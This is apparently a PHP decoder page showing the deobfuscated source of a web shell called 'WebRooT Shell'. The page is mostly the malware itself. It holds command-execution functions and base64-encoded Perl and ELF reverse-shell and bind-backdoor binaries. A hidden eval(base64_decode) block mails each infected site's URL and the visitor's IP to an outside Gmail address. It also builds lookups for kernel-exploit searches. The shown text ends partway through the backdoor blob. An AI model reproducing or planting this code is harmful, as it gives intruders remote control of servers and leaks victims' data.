Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('JHNoX2lkID0gIlcxZGxZbEp2YjFRZ1UyaGxiR3hkIjsKJHNoX25hbWUgPSBiYXNlNjRfZG..

Decoded Output download

$sh_id = "W1dlYlJvb1QgU2hlbGxd";
$sh_name = base64_decode($sh_id);
$sh_mainurl = "http://millikuvvetler.org";
$html_start = '<html><head>
<title>'.getenv("HTTP_HOST").' - '.$sh_name.'</title>
<style type="text/css">
<!--
body,table { font-family:verdana;font-size:11px;color:red;background-color:black; }
table { width:100%; }
table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
a { color:lightblue;text-decoration:none; }
a:active { color:#00FF00; }
a:link { color:#5B5BFF; }
a:hover { text-decoration:underline; }
a:visited { color:#99CCFF; }
input,select,option { font:8pt tahoma;color:red;margin:2;border:1px solid lime; }
textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#00FF00; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.barheader2 { text-align:center; }
#maininfo td { padding:3px; }
.barheader { font-weight:bold;padding:5px; }
.barheader2 { padding:5px;border:2px solid black; }
.contents,.explorer { border-collapse:collapse;}
.contents td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid green; }
.mainpanel input,select,option { border:1px solid black;margin:0; }
input[type="submit"] { border:1px solid lime; }
input[type="text"] { padding:3px;}
.shell { background-color:black;color:black;padding:5px; }
.fxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
#pagebar,.mainpanel,input[type="submit"] { background-color:black; }
.barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }
textarea,.mainpanel input,select,option { background-color:#000000; }
// -->
</style>
</head>
<body>
';
$login = ""; 
$pass = "";
$md5_pass = "";
$host_allow = array("*"); 
$login_txt = "Restricted Area"; 
$accessdeniedmess = "<body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>".$sh_name."</font></a>: <font color=red>access denied</font></body>";
$gzipencode = TRUE;
$filestealth = TRUE; 
$curdir = "./";
$tmpdir = ""; 
$tmpdir_log = "./";
$log_email = "[email protected]"; 
$sort_default = "0a"; 
$sort_save = TRUE; 
$sess_cookie = "capriv8vars"; 
$usefsbuff = TRUE; 
$copy_unset = FALSE; 
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
  $disablefunc = str_replace(" ","",$disablefunc);
  $disablefunc = explode(",",$disablefunc);
}
function get_phpini() {
  function U_wordwrap($str) {
    $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
    return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  }
  function U_value($value) {
    if ($value == '') return '<i>no value</i>';
    if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
    if ($value === null) return 'NULL';
    if (@is_object($value)) $value = (array) $value;
    if (@is_array($value)) {
      @ob_start();
      print_r($value);
      $value = @ob_get_contents();
      @ob_end_clean();
    }
    return U_wordwrap((string) $value);
  }
  if (@function_exists('ini_get_all')) {
    $r = "";
    echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
    foreach (@ini_get_all() as $key=>$value) {
      $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
    }
    echo $r;
    echo "</table>";
  }
}
function disp_drives($curdir,$surl) {
  $letters = "";
  $v = explode("\",$curdir);
  $v = $v[0];
  foreach (range("A","Z") as $letter) {
    $bool = $isdiskette = $letter == "A";
    if (!$bool) {$bool = is_dir($letter.":\");}
    if ($bool) {
      $letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\")."\"".
      ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
      if ($letter.":" != $v) {$letters .= $letter;}
      else {$letters .= "<font color=yellow>".$letter."</font>";}
      $letters .= "]</a> ";
    }
  }
  if (!empty($letters)) {Return $letters;}
  else {Return "None";}
}
if (is_callable("disk_free_space")) {
  function disp_freespace($curdrv) {
    $free = disk_free_space($curdrv);
    $total = disk_total_space($curdrv);
    if ($free === FALSE) {$free = 0;}
    if ($total === FALSE) {$total = 0;}
    if ($free < 0) {$free = 0;}
    if ($total < 0) {$total = 0;}
    $used = $total-$free;
    $free_percent = round(100/($total/$free),2)."%";
    $free = view_size($free);
    $total = view_size($total);
    return "$free of $total ($free_percent)";
  }
}
if (!function_exists("myshellexec")) {
  if(is_callable("popen")) {
    function myshellexec($cmd) {
      if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
      while (!feof($p)) {
        $line=fgets($p,1024);
        $out .= $line;
      }
      pclose($p);
      return $out;
    }
  } else {
    function myshellexec($cmd) {
      global $disablefunc;
      $result = "";
      if (!empty($cmd)) {
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {
          exec($cmd,$result);
          $result = join("
",$result);
        } elseif (($result = $cmd) !== FALSE) {
        } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_resource($fp = popen($cmd,"r"))) {
          $result = "";
          while(!feof($fp)) { $result .= fread($fp,1024); }
          pclose($fp);
        }
      }
      return $result;
    }
  }
}
function ex($cfe) {
  $res = '';
  if (!empty($cfe)) {
    if(function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("
",$res);
    } elseif(function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
function which($pr) {
  $path = ex("which $pr");
  if(!empty($path)) { return $path; } else { return $pr; }
}

$hostname_x = php_uname(n);
$itshome = getcwd();
if (!$win) {
  $itshome = str_replace("/home/","~",$itshome);
  $itshome = str_replace("/public_html","/ca.php",$itshome);
}
else { $itshome = ""; }
$enumerate = "http://".$hostname_x."/".$itshome."";


$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi("Linux",$OSV)) {
  $Lversion=substr($Lversion,0,6);
  $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
} else {
  $Lversion=substr($Lversion,0,3);
  $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
}

$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu
dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE
RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV
RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv
c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7
IEBtYWlsKCJ3ZWJyMDB0Lm1rdEBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQg
YnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2ll
KCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA